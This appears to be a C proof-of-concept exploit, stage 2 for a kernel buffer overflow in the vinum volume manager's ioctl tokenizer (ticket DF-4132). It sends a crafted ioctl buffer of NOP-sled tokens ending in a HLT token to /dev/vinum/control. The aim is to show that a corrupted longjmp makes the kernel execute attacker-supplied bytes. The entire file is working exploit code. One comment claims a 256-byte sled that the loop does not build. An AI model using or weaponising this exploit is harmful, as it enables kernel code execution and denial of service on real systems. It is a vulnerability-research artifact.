/*
 * DF-4132 PoC stage 2: prove control over the executed instruction stream.
 *
 * Stage 1 (vinum_tokensmash 500) showed the tokenize overflow smashing the
 * command_fail jmp_buf: longjmp() restored a corrupted RIP that pointed into
 * the ioctl buffer and the kernel executed our token bytes (0x61 'a' = POPAL,
 * hence "privileged instruction fault ... popal").
 *
 * Stage 2 builds the config line from single 0x90 (NOP) pad tokens with a
 * final 0xf4 (HLT) token, so that every byte region the corrupted RIP can
 * land on is either a NOP sled or the trailing HLT.  If the kernel executes
 * our buffer the panic signature must be "privileged instruction fault"
 * stopped at: hlt (or a fault while running nops), not popal.
 */
#include <sys/types.h>
#include <sys/ioccom.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define BUFSIZE 1024
#define VINUM_CREATE _IOC(IOC_INOUT, 'F', 64, BUFSIZE)

int
main(void)
{
	char buf[BUFSIZE];
	int fd, rc, i = 0, ntok = 0;

	fd = open("/dev/vinum/control", O_RDWR);
	if (fd < 0) {
		perror("open /dev/vinum/control");
		return 1;
	}

	memset(buf, 0, sizeof(buf));
	buf[i++] = 'd'; buf[i++] = 'r'; buf[i++] = 'i'; buf[i++] = 'v';
	buf[i++] = 'e'; buf[i++] = ' ';
	ntok++;

	/* quoted 256-byte NOP sled token; quote must be followed by space */
	buf[i++] = '"';
	while (i < 16 + 7)
		buf[i++] = (char)0x90;
	buf[i++] = '"';
	buf[i++] = ' ';
	ntok++;

	/* pad tokens: one 0x90 byte each, so the tail is a NOP stream */
	while (i < (int)sizeof(buf) - 4) {
		buf[i++] = (char)0x90;
		buf[i++] = ' ';
		ntok++;
	}
	/* final token: 0xf4 HLT */
	buf[i - 2] = (char)0xf4;

	printf("sending %d bytes, %d tokens (all NOPs, last token HLT)\n", i, ntok);
	rc = ioctl(fd, VINUM_CREATE, buf);
	printf("ioctl rc=%d errno=%d reply.error=%d\n", rc, errno, *(int *)buf);
	printf("still alive\n");
	return 0;
}
